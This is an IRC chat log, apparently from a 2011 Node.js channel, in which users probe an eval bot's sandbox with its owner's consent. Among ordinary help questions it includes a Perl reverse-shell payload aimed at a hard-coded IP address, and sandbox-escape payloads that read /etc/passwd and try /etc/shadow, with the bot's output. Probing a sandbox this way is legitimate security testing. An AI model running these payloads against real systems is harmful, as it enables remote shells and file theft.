DrMcKay: Insekticid: ping? [13:06] xeodox has joined the channel [13:06] dob_ has joined the channel [13:06] CarterL has joined the channel [13:06] Insekticid: DrMcKay: pong! [13:07] daleharvey has joined the channel [13:07] tomh has joined the channel [13:07] DrMcKay: Insekticid: RuPy! [13:07] DrMcKay: Insekticid: you want to go there? [13:08] Insekticid: DrMcKay: Gonna be legen....wait for it...dary [13:08] DrMcKay: :D [13:09] Insekticid: DrMcKay: I still don't know. I really want, but don't know about my available time and money [13:10] DrMcKay: Insekticid: quite same here... I don't really know when registration ends [13:10] ryanfitz has joined the channel [13:12] Insekticid: DrMcKay: Me neither. But the ticket costs 67 eur [13:12] DrMcKay: Insekticid: it isn't much, I think [13:13] DrMcKay: Insekticid: there were confs with 200 euro or so tickets] [13:13] Insekticid: DrMcKay: it's quite good [13:14] ByteCrunch has joined the channel [13:14] DrMcKay: Insekticid: meh, I'll just buy them now if they support PayPal or in few days, if they need bank account and we'll see :) [13:15] gaving has joined the channel [13:16] TheJH: !eval "works" [13:16] Insekticid: DrMcKay: Yeah, they support Przelewy24, PayPal and bank deposit [13:16] TheJH: DrMcKay, I "muted" him :D [13:16] DrMcKay: Insekticid: ah, good :) [13:16] DrMcKay: TheJH: ? [13:16] eazyigz has joined the channel [13:16] DrMcKay: TheJH: oh. [13:17] DrMcKay: TheJH: how? [13:17] zmpeg has joined the channel [13:17] TheJH: DrMcKay, that was a lie. he's just busy spamming me :D [13:17] DrMcKay: TheJH: :D [13:17] DrMcKay: TheJH: should I restart him? [13:17] TheJH_: spam evasion nick change :D [13:17] DrMcKay: ah, that was sneaky [13:17] TheJH_: DrMcKay, good idea [13:18] DrMcKay: shit, I've tried master [13:19] TheJH: DrMcKay, joyent/node master? [13:19] DrMcKay: TheJH: yup [13:20] DrMcKay: TheJH: it immediately core dumped, I'm recompiling v0.5.5 now [13:26] raynos: Where is native_module ? [13:26] raynos: I cant find it in the node source code [13:27] TheJH: raynos, did you also look in the "src" folder? I think it was in src/node.js, but I'm not sure [13:27] TheJH: DrMcKay, I think that now, I know how to exploit your bot. please bring it back soon :) [13:27] raynos: I looked in src [13:27] raynos: there is nothing with the name native_module [13:28] raynos: or module [13:28] Cyrone has joined the channel [13:28] maushu has joined the channel [13:28] enmand has joined the channel [13:29] DrMcKay: TheJH: give me a sec, v8 compilation on Atom -.- [13:30] dlg: anyone here familiar with http_parser.c? [13:30] TheJH: no problem, I'm busy researching how to easily open a reverse shell with few chars anyway :) [13:31] DrMcKay: TheJH: what?! [13:31] DrMcKay: TheJH: give me a sec, I'll get him a chroot [13:31] TheJH: :( [13:31] DrMcKay: TheJH: OK, I won't [13:31] TheJH: and I won't do too evil stuff :) [13:32] DrMcKay: TheJH: nobody:nogroup? [13:32] cjroebuck has joined the channel [13:32] TheJH: DrMcKay, people could still look for files in /tmp or so... [13:34] replore has joined the channel [13:34] replore_ has joined the channel [13:36] zeissoctopus has joined the channel [13:39] liquidproof has joined the channel [13:39] liquidproof: is there something like https://github.com/ddollar/foreman for node.js [13:39] liquidproof: + [13:39] liquidproof: ?* [13:42] DrMcKay: TheJH: you need a login shell for your exploit? [13:42] TheJH: DrMcKay, no, don't think so [13:43] mendel_ has joined the channel [13:45] thoolihan has joined the channel [13:46] kriszyp has joined the channel [13:48] MUILTFN has joined the channel [13:48] DrMcKay: TheJH: wait, everything started to segfault on me [13:48] DrMcKay: ah, forever has a c ext [13:49] nXqd has joined the channel [13:50] enmand has joined the channel [13:50] DrMcKay: aw, shit, npm too? [13:51] Brandon has joined the channel [13:51] TheJH: DrMcKay, I think I can get a reference to the native child_process binding, but I still have to figure out how to use it without crashing node :D [13:52] Brandon: hi [13:53] thalll has joined the channel [13:54] DrMcKay_ has joined the channel [13:55] boehm has joined the channel [13:55] niftylettuce: garrensmith: hey can you test something for me? [13:56] DrMcKay: TheJH: one more second, recompiling node again [13:56] __doc__ has joined the channel [13:57] niftylettuce: woot! h5eb package now in npm! have fun folks :) [13:58] core00 has joined the channel [13:58] xeodox has joined the channel [13:58] DrMcKay: npm should have voting system :D [13:59] zemanel has joined the channel [13:59] amigojapan has joined the channel [13:59] TheJH: DrMcKay, like this? https://github.com/isaacs/npmjs.org/pull/27 [14:00] DrMcKay: TheJH: you're fast :D [14:00] DrMcKay: TheJH: yes, something along these lines [14:01] TheJH: DrMcKay, isaacs proposed it in a podcast and I implemented it :) [14:01] DrMcKay: TheJH: harass him to pull it [14:02] matyr_ has joined the channel [14:04] temp01 has joined the channel [14:05] Brandon: hello [14:05] TheJH: DrMcKay, already did that somewhat [14:06] DrMcKay: TheJH: tell him you know where he lives [14:06] TheJH: DrMcKay, :D [14:06] DrMcKay: TheJH: then start calling and say only: "puuuuulllll...: [14:07] joeytwiddle has joined the channel [14:08] TheJH: DrMcKay, I wouldn't feel comfortable doing that with someone who has npm admin rights and knows where I live, my telephone number, ... (because I put that stuff in the online CLA form by joyent) :D [14:08] stephank has joined the channel [14:08] chjj has joined the channel [14:09] DrMcKay: TheJH: ah, the CLA, true. [14:09] schwab has joined the channel [14:12] matyr has joined the channel [14:14] postwait has joined the channel [14:15] Brandon: anyone here divorced? [14:15] stephank has joined the channel [14:15] pickels has joined the channel [14:17] xerox: anybody knows how to use LESScss's @import "someothersheet" with express? [14:17] xerox: I found this but it does not seem to be relevant anymore http://stackoverflow.com/questions/4618257/node-js-express-js-how-to-render-less-css [14:18] dmkbot has joined the channel [14:18] dmkbot has joined the channel [14:18] DrMcKay: TheJH: ^ [14:18] __sorin__ has joined the channel [14:18] DrMcKay: !eval "Hi" [14:18] dmkbot: Hi [14:18] Sorella has joined the channel [14:19] DrMcKay: TheJH: don't msg him, do it here :D [14:19] xerox: you mean me or Brandon ? : ) [14:19] TheJH: DrMcKay, may I try to open a reverse shell? or should I just kill a process? (but in that case, please tell me the PID) [14:19] schwab has joined the channel [14:19] DrMcKay: TheJH: open it :) [14:19] Brandon: who? [14:19] TheJH: ok, working... [14:19] DrMcKay: TheJH: his running under his own user, so do whatever you want [14:20] sivy has joined the channel [14:23] __sorin_1 has joined the channel [14:23] bolden has joined the channel [14:24] pwk0 has joined the channel [14:24] eazyigz has joined the channel [14:26] DrMcKay: !eval "Waiting...!" [14:26] dmkbot: Waiting...! [14:26] ryanfitz has joined the channel [14:26] Cyrone: am trying to install node and it said that openssl is not installed but I have just installed and reboot my machine... any idea? [14:26] TheJH: yes, yes... [14:26] mavus has joined the channel [14:26] matyr_ has joined the channel [14:26] DrMcKay: Cyrone: OS? [14:27] xerox: !eval '\n\n\n' [14:27] Cyrone: CentOS [14:27] DrMcKay: xerox: node-irc can't print new lines [14:27] DrMcKay: Cyrone: install openssl-devel [14:27] Cyrone: oh ok.. [14:27] Cyrone: thanks!! [14:27] DrMcKay: Cyrone: :) [14:28] Cyrone: cd .. [14:28] Cyrone: wrong screen lol [14:28] DrMcKay: :D [14:28] kenperkins has joined the channel [14:28] DrMcKay: !eval require [14:28] dmkbot: [Function] [14:29] DrMcKay: it isn't compliant with standards :D [14:31] TheJH: !eval console.log=require('vm').runInThisContext.bind(null,"var c=new(global.process.binding('child_process').ChildProcess)();c.onexit=function(){};c.spawn('/usr/bin/perl',['-e',\"perl -e 'use Socket;$addr=sockaddr_in('1232','77.23.48.202');socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));connect(S,$addr);select S;$|=1;while(defined($l=)){print qx($l);}close(S);'\"],'',[],[-1,-1,-1],false,-1,-1)") [14:31] DrMcKay: OH MY HEAD WHAT?! [14:31] DrMcKay: ah, sneaky :D [14:32] TheJH: hmm, not worky... [14:32] DrMcKay: but there's no process :p [14:32] thalll has joined the channel [14:32] DrMcKay: but that was really good try [14:33] DrMcKay: btw, he should at least timeout... [14:33] baudehlo has joined the channel [14:33] TheJH: !up? google.com [14:33] dmkbot: TheJH, host up (status code: 301) [14:33] TheJH: !eval "foo" [14:33] dmkbot: foo [14:33] DrMcKay: TheJH: nah, he would do it anyway [14:34] guyfawkes303 has joined the channel [14:34] enmand has joined the channel [14:34] TheJH: !eval console.log=require('vm').runInThisContext.bind(null,"console.log('foo')") [14:34] dmkbot: Process exited with 1 [14:34] DrMcKay: no, nobody is using /tmp/dmkbot*, so it just got closed [14:34] TheJH: !eval require('vm').runInThisContext.bind(null,"console.log('foo')") [14:34] dmkbot: [Function] [14:35] TheJH: !eval require('vm').runInThisContext.bind(null,"console.log('foo')")() [14:35] dmkbot: foo [14:35] edude03 has joined the channel [14:35] dmkbot: undefined [14:35] TheJH: !eval require('vm').runInThisContext.bind(null,"process")() [14:35] dmkbot: { title: 'node', [14:35] dmkbot: EventEmitter: [Function: EventEmitter], [14:35] dmkbot: version: 'v0.5.5', [14:35] dmkbot: assert: [Function], [14:35] dmkbot: _tickCallback: [Function], [14:35] dmkbot: moduleLoadList: [14:35] dmkbot: [ 'Binding evals', [14:35] dmkbot: 'Binding natives', [14:35] dmkbot: 'NativeModule events', [14:35] dmkbot: 'NativeModule buffer', [14:35] dmkbot: 'Binding buffer', [14:35] DrMcKay: but! [14:35] dmkbot: 'NativeModule assert', [14:35] dmkbot: 'NativeModule util', [14:35] dmkbot: 'Binding stdio', [14:35] dmkbot: 'NativeModule path', [14:35] dmkbot: 'NativeModule module', [14:35] TheJH: MUHAHA!!!!!! [14:35] dmkbot: 'NativeModule fs', [14:35] dmkbot: 'Binding fs', [14:35] dmkbot: { node: '0.5.5', [14:35] dmkbot: v8: '3.5.8', [14:35] TheJH: DrMcKay, told you, it should work :D [14:35] dmkbot: ares: '1.7.4', [14:35] dmkbot: uv: '0.1', [14:35] dmkbot: openssl: '1.0.0d-fips' }, [14:35] dmkbot: stdout: [Getter], [14:35] dmkbot: arch: 'x64', [14:35] dmkbot: platform: 'linux', [14:35] dmkbot: stderr: [14:35] dmkbot: { writable: true, [14:35] dmkbot: readable: false, [14:35] dmkbot: write: [Function], [14:35] dmkbot: destroySoon: [Function], [14:35] dmkbot: destroy: [Function], [14:35] dmkbot: end: [Function] }, [14:35] dmkbot: ARGV: [14:35] dmkbot: [ 'node', [14:35] dmkbot: '/tmp/dmkbot-1315146855295-TheJH-0.7326778885908425.js' ], [14:35] DrMcKay: let the dump flow! [14:36] dmkbot: exit: [Function], [14:36] dmkbot: ENV: [14:36] dmkbot: { HOSTNAME: 'PC06', [14:36] dmkbot: TERM: 'xterm', [14:36] dmkbot: HISTSIZE: '1000', [14:36] dmkbot: LS_COLORS: 'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.tbz=01;31:*.tbz2=01;31:*.bz=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.j [14:36] dmkbot: MAIL: '/var/spool/mail/maciej', [14:36] dmkbot: LANG: 'pl_PL.UTF-8', [14:36] dmkbot: SHELL: '/bin/bash', [14:36] dmkbot: LOGNAME: 'dmkbot', [14:36] dmkbot: USER: 'dmkbot', [14:36] dmkbot: USERNAME: 'dmkbot', [14:36] dmkbot: PATH: '/sbin:/bin:/usr/sbin:/usr/bin', [14:36] dmkbot: HOME: '/home/dmkbot', [14:36] dmkbot: SUDO_COMMAND: '/usr/bin/forever start /usr/lib/dmkbot/.deploy/bot.js', [14:36] dmkbot: SUDO_USER: 'maciej', [14:36] dmkbot: SUDO_UID: '500', [14:36] dmkbot: SUDO_GID: '500' }, [14:36] dmkbot: cwd: [Function], [14:36] TheJH: :D [14:36] yept: fail [14:36] DrMcKay: but still, it's just disabling vm module [14:36] TheJH: DrMcKay, yes, I guess so :D [14:36] DrMcKay: yept: nah, it was funny :D [14:36] DrMcKay: TheJH: congratulations :) [14:37] TheJH: DrMcKay, actually, I dodn't thinkt hat the last thing I tried would work... because I thought runInThisContext uses my context and not the one of vm [14:37] TheJH: *didn't [14:38] Cromulent has joined the channel [14:38] DrMcKay: yeah, it's a bit weird [14:38] DrMcKay: I would even say it's a security vuln [14:38] zmpeg has joined the channel [14:38] fitzgen has joined the channel [14:39] japj: who is maciej? [14:39] DrMcKay: japj: me [14:39] DrMcKay: wait, I though I disabled shell -.- [14:39] TheJH: DrMcKay, what should that change? [14:40] DrMcKay: TheJH: nothing, I'm just wondering [14:40] TheJH: DrMcKay, ah, the environment var, right? [14:40] TheJH: SHELL: '/bin/bash', [14:40] DrMcKay: yeah [14:40] __sorin__ has joined the channel [14:40] z6Dabrata has joined the channel [14:41] sounko has joined the channel [14:41] japj: polish? :) [14:41] DrMcKay: japj: yup :) [14:42] DrMcKay: japj: you too? [14:42] TheJH: DrMcKay, reading your commit comments for dmkbot makes me proud :) [14:42] dmkbot has joined the channel [14:42] DrMcKay: TheJH: :D [14:42] JumpMast3r has joined the channel [14:42] DrMcKay: !eval require('vm'); [14:42] dmkbot: { Script: [14:42] dmkbot: { [Function: NodeScript] [14:42] dmkbot: createContext: [Function], [14:42] dmkbot: runInContext: [Function], [14:42] dmkbot: runInThisContext: [Function], [14:42] dmkbot: runInNewContext: [Function] }, [14:42] dmkbot: createScript: [Function], [14:42] dmkbot: createContext: [Function], [14:42] dmkbot: runInContext: [Function], [14:42] dmkbot: runInThisContext: [Function], [14:42] DrMcKay: wut?! [14:42] dmkbot: runInNewContext: [Function] } [14:43] TheJH: wtf? [14:43] japj: no, I'm from NL, but I guess I already realised you were in the EU due to timezone/online "behaviour" :) [14:44] DrMcKay: ah, this silly time [14:44] japj: !eval process.binding('process_wrap') [14:44] TheJH: yes, the world should be flat, then everyone would have roughly the same time :D [14:44] DrMcKay: japj: he's not here yet [14:44] japj: damn [14:44] pickels: I have a module that relies on a global window object. I don't want to test the module inside my browser so was wondering is there a way to declare a global window objects just for testing? I looked at jsdom and it can create a window object but not sure how I can make it globally available. [14:44] dmkbot has joined the channel [14:44] DrMcKay: japj: process is not defined in jail [14:44] DrMcKay: !eval require('vm'); [14:44] dmkbot: Process exited with 1 [14:45] DrMcKay: good [14:45] DrMcKay: bad deploy [14:45] DrMcKay: !eval process.binding('process_wrap') [14:45] dmkbot: Process exited with 1 [14:45] DrMcKay: japj: won't work, that's why I disabled process ;) [14:45] mrdoodles has joined the channel [14:45] DrMcKay: TheJH: good idea, but I've heard it somewhere :P [14:46] mrdoodles: i know that i can use fs.readFileSync etc and json.parse … is there a "proper" way to load a json file? [14:46] c4milo1 has joined the channel [14:46] DrMcKay: pickels: global.window = ... [14:46] TheJH: DrMcKay, what are you talking about? [14:46] dob_: How do i have to add backbone in my jade template after i installed it via npm install backbone? In my public there is no backbone-min.js only in my unaccessable node_modules directory. [14:46] DrMcKay: TheJH: flat world [14:46] dob_: Or will i have to install i manually for the gui stuff? [14:47] TheJH: DrMcKay, ah - yes, there's a book series about flat worlds, on top of turtles and elephants [14:47] japj: discworld [14:47] c4milo1 has joined the channel [14:47] DrMcKay: and there's Minecraft ;) [14:47] pickels: DrMcKay, oh wow that's great didn't know about global :) [14:47] javaanse_jongens has joined the channel [14:47] pickels: DrMcKay, thanks a million. [14:47] DrMcKay: pickels: :) [14:48] DrMcKay: TheJH: isn't this vm behavior an issue? [14:48] TheJH: DrMcKay, not sure [14:48] DrMcKay: TheJH: well, it lets you to escape the jail, so, I guess it it [14:48] drudge has joined the channel [14:49] japj: !eval require("buffer").SlowBuffer [14:49] dmkbot: Process exited with 1 [14:49] DrMcKay: japj: no buffers, sorry [14:49] TheJH: DrMcKay, from the docs: 'Note that running untrusted code is a tricky business requiring great care. To prevent accidental global variable leakage, vm.runInNewContext is quite useful, but safely running untrusted code requires a separate process.' [14:49] DrMcKay: TheJH: I'm running it in seperate process [14:50] DrMcKay: and well, docs say that it should prevent leak [14:50] DrMcKay: and it didn't, sooo... [14:50] bnoordhuis has joined the channel [14:50] DrMcKay: japj: I'll add buffers after I write a C jail with setrlimit [14:50] japj: !eval require("constants") [14:50] dmkbot: Process exited with 1 [14:50] DrMcKay: japj: TheJH already tried exploiting buffers :D [14:50] DrMcKay: !doc link constants [14:50] dmkbot: http://nodejs.org/docs/latest/api/constants.html [14:51] DrMcKay: japj: what module is it? [14:51] TheJH: japj, only crypto, events, url, assert are available, I think [14:51] japj: oh I guess constants.js is something that should be removed then [14:51] DrMcKay: japj: https://github.com/mmalecki/dmkbot/blob/master/lib/modules/eval-jail.js#L5 [14:51] dob_: How can i access backbone.js in my jade template? script(type="text/javascript", src="/lib/backbone.js") Does not seem to work [14:52] bnoordhuis: sweet [14:52] ismell has joined the channel [14:52] bnoordhuis: enough buffer overruns in crypto to take over a computer remotely [14:52] DrMcKay: what?! [14:52] bnoordhuis: i kid, i kid [14:52] bnoordhuis: possibly [14:52] ceej has joined the channel [14:52] DrMcKay: :D [14:53] matyr has joined the channel [14:54] thalll has joined the channel [14:54] DrMcKay: TheJH: maybe I should enable process and give your remote shell a try ;D ? [14:55] DrMcKay: s/remote/reverse/ [14:55] TheJH: DrMcKay, why would you do that? [14:55] DrMcKay: TheJH: fun, fun, fun! [14:55] TheJH: :D [14:56] bnoordhuis: !eval require('crypto').pbkdf2('password', 'salt', 4096, 4096, console.error) [14:56] dmkbot: undefined [14:56] dmkbot: Timeout. [14:56] dmkbot: Process exited with 1 [14:56] bnoordhuis: this is not over yet, dmkbot [14:56] DrMcKay: !eval "I'm waiting." [14:56] dmkbot: I'm waiting. [14:57] TheJH: !eval !eval "blubb" [14:57] dmkbot: Process exited with 1 [14:57] TheJH: !eval '!eval "blubb"' [14:57] dmkbot: !eval "blubb" [14:57] TheJH: :( [14:57] DrMcKay: TheJH: that would be way too easy [14:58] TheJH: DrMcKay, true :D [14:58] DrMcKay: I wonder... [14:58] DrMcKay: no, it's encoded [14:59] yept: why not !eval eval("'oe'"); [14:59] DrMcKay: and IRC doesn't allow nicks with / [14:59] TheJH: DrMcKay, already thought about that :D [14:59] DrMcKay: !eval eval('aa'); [14:59] dmkbot: Process exited with 1 [14:59] TheJH: DrMcKay, temp script filename, right? [14:59] yept: !eval eval("'oe'"); [14:59] DrMcKay: yept: there's no eval in this context [14:59] dmkbot: oe [14:59] DrMcKay: TheJH: yup [14:59] yept: hmm [14:59] DrMcKay: or there is... [15:00] yept: !eval 'eval("'oe'")' [15:00] dmkbot: Process exited with 1 [15:00] TheJH: yept, the inner sinqle quotes break it [15:00] bnoordhuis: !eval Buffer(1024*1024*1024) [15:00] dmkbot: Process exited with 1 [15:00] DrMcKay: bnoordhuis: no buffer until setrlimit [15:00] TheJH: bnoordhuis, he disallowed buffers :( [15:00] bnoordhuis: aw [15:01] bnoordhuis: !eval for (var a = "foo", b = "bar"; ; a = a+b, b = b+a); [15:01] dmkbot: Process exited with 1 [15:02] bnoordhuis: DrMcKay: i suspect it spawns a new process before executing the code? [15:02] DrMcKay: bnoordhuis: yes [15:02] DrMcKay: bnoordhuis: https://github.com/mmalecki/dmkbot/blob/master/lib/modules/eval.js#L41 [15:02] TheJH: bnoordhuis, I already made him disable "util" and "vm" :D https://github.com/mmalecki/dmkbot/commits/master [15:03] DrMcKay: :D [15:03] pen_ has joined the channel [15:04] mDraze has joined the channel [15:05] bnoordhuis: !eval process.kill(process.pid, 'SIGSTOP') [15:05] dmkbot: Process exited with 1 [15:05] bnoordhuis: :/ [15:05] raynos: I've never paid attention to whether node modules are GPL instead of MIT [15:05] raynos: are there any popular node.js modules on the npm that are GPL instead of MIT ? [15:05] DrMcKay: bnoordhuis: no process [15:06] bnoordhuis: !eval process [15:06] dmkbot: Process exited with 1 [15:06] bnoordhuis: right [15:06] TheJH: bnoordhuis, only crypto,events,url,assert,require,setTimeout,setInterval,clearTimeout,clearInterval,console [15:06] bnoordhuis: !eval module [15:06] dmkbot: Process exited with 1 [15:06] DrMcKay: and require isn't require from node [15:07] bnoordhuis: !eval __filename [15:07] raynos has left the channel [15:07] dmkbot: Process exited with 1 [15:07] bnoordhuis: you're not making this easy, DrMcKay! [15:07] sirdancealot has joined the channel [15:07] DrMcKay: bnoordhuis: :) [15:07] boaz has joined the channel [15:08] japj: !eval require("console").trace() [15:08] dmkbot: Process exited with 1 [15:08] TheJH: huh? [15:08] TheJH: !eval console.trace() [15:08] dmkbot: undefined [15:08] TheJH: ah, yes, it doesn't show stderr [15:08] TheJH: just stdout [15:09] DrMcKay: I can make it show it, but it can result in a flood [15:09] TheJH: !eval new Error().stack [15:09] dmkbot: Error [15:09] dmkbot: at evalmachine.:1:5 [15:09] dmkbot: at Object. (/tmp/dmkbot-1315148878194-TheJH-0.6904226012993604.js:25:16) [15:09] dmkbot: at Module._compile (module.js:416:26) [15:09] dmkbot: at Object..js (module.js:434:10) [15:09] dmkbot: at Module.load (module.js:335:31) [15:09] dmkbot: at Function._load (module.js:294:12) [15:09] dmkbot: at Array.0 (module.js:454:10) [15:09] dmkbot: at EventEmitter._tickCallback (node.js:197:26) [15:09] japj: !eval console.error = console.info; console.trace(); [15:09] hlindset has joined the channel [15:09] dmkbot: Trace: [15:09] dmkbot: at evalmachine.:1:39 [15:09] dmkbot: at Object. (/tmp/dmkbot-1315148895190-japj-0.5418947127182037.js:25:16) [15:09] dmkbot: at Module._compile (module.js:416:26) [15:09] dmkbot: at Object..js (module.js:434:10) [15:09] dmkbot: at Module.load (module.js:335:31) [15:09] dmkbot: at Function._load (module.js:294:12) [15:09] dmkbot: at Array.0 (module.js:454:10) [15:09] dmkbot: at EventEmitter._tickCallback (node.js:197:26) [15:09] dmkbot: undefined [15:09] hlindset has joined the channel [15:10] DrMcKay: wait... [15:10] c4milo1 has joined the channel [15:10] DrMcKay: !eval function () { console.log(caller); } [15:10] dmkbot: Process exited with 1 [15:10] NegativeK has joined the channel [15:10] DrMcKay: !eval function () { console.log(this.caller); } [15:10] dmkbot: Process exited with 1 [15:10] TheJH: DrMcKay, no caller in v8 :( [15:10] TheJH: DrMcKay, only callee [15:10] TheJH: DrMcKay, also, it's arguments.{caller,callee} [15:11] DrMcKay: indeed. [15:11] DrMcKay: !eval this [15:11] dmkbot: {} [15:11] TheJH: !eval Object.keys(this) [15:11] dmkbot: [ 'require', [15:11] dmkbot: 'setTimeout', [15:11] dmkbot: 'setInterval', [15:11] dmkbot: 'clearTimeout', [15:11] dmkbot: 'clearInterval', [15:11] dmkbot: 'console', [15:11] dmkbot: 'crypto', [15:11] dmkbot: 'events', [15:11] dmkbot: 'url', [15:11] dmkbot: 'assert' ] [15:12] While has joined the channel [15:12] hij1nx has joined the channel [15:12] matyr_ has joined the channel [15:13] japj: !eval require.resolve("crypto"); [15:13] dmkbot: Process exited with 1 [15:13] DrMcKay: !eval Object.getPrototypeOf(this); [15:13] dmkbot: {} [15:13] DrMcKay: japj: require isn't a require [15:13] DrMcKay: japj: https://github.com/mmalecki/dmkbot/blob/master/lib/modules/eval-jail.js#L7 [15:13] TheJH: !eval require.toString() [15:13] dmkbot: function (module) { [15:13] dmkbot: if (module in modules) { [15:13] dmkbot: return modules[module]; [15:13] dmkbot: } [15:13] dmkbot: throw new Error("Cannot find module '" + module + "'"); [15:13] dmkbot: } [15:14] simenbrekken has joined the channel [15:16] DrMcKay: I wonder if v8 supports it [15:16] DrMcKay: !eval Object.__parent__(this) [15:16] dmkbot: Process exited with 1 [15:16] DrMcKay: no :< [15:16] japj: !eval setTimeout(function() {console.log(code);}); [15:17] dmkbot: { _idleTimeout: undefined, [15:17] dmkbot: _onTimeout: [Function], [15:17] dmkbot: _idlePrev: [Circular], [15:17] dmkbot: _idleNext: [Circular] } [15:17] astropirate has joined the channel [15:17] japj: !eval setTimeout(function() {console.log(code);}, 5); [15:17] dmkbot: { _idleTimeout: 5, [15:17] dmkbot: _onTimeout: [Function], [15:17] dmkbot: _idlePrev: [15:17] dmkbot: { repeat: 0, [15:17] dmkbot: _idleNext: [Circular], [15:17] dmkbot: _idlePrev: [Circular], [15:17] dmkbot: callback: [Function] }, [15:17] dmkbot: _idleNext: [15:17] astropirate: Anyone here intrested in a DC Area meetup group? Thinking of starting one but don't know if we have enough people intrested [15:17] dmkbot: { repeat: 0, [15:17] dmkbot: _idleNext: [Circular], [15:17] dmkbot: _idlePrev: [Circular], [15:17] dmkbot: callback: [Function] }, [15:17] dmkbot: _idleStart: Sun, 04 Sep 2011 15:16:32 GMT } [15:17] dmkbot: Process exited with 1 [15:18] augustl: omg paste multiple lines on pastie.org omg omg!1 [15:19] kenperkins has joined the channel [15:20] piscisaureus has joined the channel [15:20] DrMcKay: augustl: it may eventually get useful, I will implement it [15:20] dexter_e has joined the channel [15:20] dexter_e_ has joined the channel [15:20] DrMcKay: TheJH: are you planning to report this issue? [15:22] TheJH: DrMcKay, oh, there is caller :) - one sec... [15:22] TheJH: !eval f=function(){return f.caller};var require=f().arguments[1];require('fs').readFileSync('/etc/passwd') [15:22] dmkbot: [15:22] TheJH: !eval f=function(){return f.caller};var require=f().arguments[1];require('fs').readFileSync('/etc/passwd', 'utf8') [15:22] dmkbot: root:x:0:0:root:/root:/bin/bash [15:22] dmkbot: bin:x:1:1:bin:/bin:/sbin/nologin [15:22] DrMcKay: oh. [15:22] dmkbot: daemon:x:2:2:daemon:/sbin:/sbin/nologin [15:22] dmkbot: adm:x:3:4:adm:/var/adm:/sbin/nologin [15:22] dmkbot: lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [15:22] dmkbot: sync:x:5:0:sync:/sbin:/bin/sync [15:22] dmkbot: shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown [15:22] dmkbot: halt:x:7:0:halt:/sbin:/sbin/halt [15:22] dmkbot: mail:x:8:12:mail:/var/spool/mail:/sbin/nologin [15:22] dmkbot: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin [15:22] dmkbot: operator:x:11:0:operator:/root:/sbin/nologin [15:22] dmkbot: games:x:12:100:games:/usr/games:/sbin/nologin [15:22] dmkbot: gopher:x:13:30:gopher:/var/gopher:/sbin/nologin [15:22] dmkbot: ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin [15:22] dmkbot: nobody:x:99:99:Nobody:/:/sbin/nologin [15:22] dmkbot: usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin [15:22] dmkbot: avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin [15:22] dmkbot: dbus:x:81:81:System message bus:/:/sbin/nologin [15:23] dmkbot: gitolite:x:492:489:git repository hosting:/var/lib/gitolite:/bin/sh [15:23] dmkbot: apache:x:48:48:Apache:/var/www:/sbin/nologin [15:23] dmkbot: transmission:x:491:488:transmission daemon account:/var/lib/transmission:/sbin/nologin [15:23] TheJH: !eval f=function(){return f.caller};var require=f().arguments[1];require('fs').readFileSync('/etc/shadow', 'utf8') [15:23] dmkbot: dmkbot:x:502:502::/home/dmkbot:/bin/bash [15:23] dmkbot: Process exited with 1 [15:23] astropirate: I wonder if the bot can get auto banned :S [15:23] DrMcKay: astropirate: I hope he will, so that TheJH will stop exploiting it :D [15:24] astropirate: :D [15:24] DrMcKay: astropirate: sorry for the flood, > 5 lines will go to pastie or something [15:24] ryanfitz has joined the channel [15:24] DrMcKay: so, that would be vm module safety [15:24] Insekticid has joined the channel [15:25] TheJH: :( [15:26] augustl: that bot is fucking annoying [15:26] DrMcKay: I'm turning this module off [15:26] astropirate: More than 2 lines of response should be auto pastied [15:26] DrMcKay: astropirate: OK [15:26] astropirate: :D [15:26] TheJH: augustl, no, it's an interesting challenge that helps understanding the concepts of javascript by creatively thinking about how they can be abused :D [15:27] augustl: do it in #test-that-bot-somewhere-else instead please [15:27] TheJH: DrMcKay, nooo, not turn off! [15:27] DrMcKay: TheJH: I have to give him a chroot and pasting [15:27] kiffness has joined the channel [15:27] DrMcKay: TheJH: he'll be up again some day [15:27] DrMcKay: TheJH: or I can get him on other channel [15:27] astropirate: where is the repo for the bot? [15:28] DrMcKay: astropirate: https://github.com/mmalecki/dmkbot [15:28] CIA-69: node: 03Ashok Mudukutore 07master * r908ee33 10/ wscript : [15:28] CIA-69: node: build: add RPATH environment variable [15:28] CIA-69: node: Overrides default run-time library paths - http://git.io/T8em8g [15:29] jakehow has joined the channel [15:30] jakehow_ has joined the channel [15:30] jakehow__ has joined the channel [15:31] technoweenie has joined the channel [15:31] Cyrone: hello.. have a question on openssl.. I have installed openssl-devel and still got this error: could not autodetect OpenSSL support... any idea? [15:31] astropirate: Cyrone: running Fedora? [15:31] astropirate: i had that issue :S how did i fix it [15:32] Cyrone: centos so yeah [15:32] dexter_e: Leave the bot! [15:32] astropirate: ohh just went Ape-Shit and installed all pakcages marked with openSSL :D [15:32] Cyrone: haha [15:32] dexter_e: The bot rocks [15:32] hij1nx has joined the channel [15:32] dmkbot has joined the channel [15:33] hij1nx has left the channel [15:33] N0va has joined the channel [15:33] DrMcKay: dexter_e: he'll be running but without eval module, it's a bit unsafe for now [15:33] DrMcKay: dexter_e: but thanks :) [15:33] EvRide has joined the channel [15:33] DrMcKay: !eval "WUT?!" [15:33] dmkbot: WUT?! [15:33] kiffness has joined the channel [15:33] DrMcKay: um, WUT?! [15:33] astropirate: !eval "Luke, I am your father!" [15:33] fitzgen has joined the channel [15:34] astropirate: :( [15:34] chrisbuchholz has joined the channel [15:34] dmkbot has joined the channel [15:34] DrMcKay: astropirate: he'll be back, in chroot and with pastie support :) [15:34] astropirate: DrMcKay: exellent [15:34] DrMcKay: !eval "WUT?!" [15:34] DrMcKay: good [15:35] matyr has joined the channel [15:35] mrdoodles: whats the 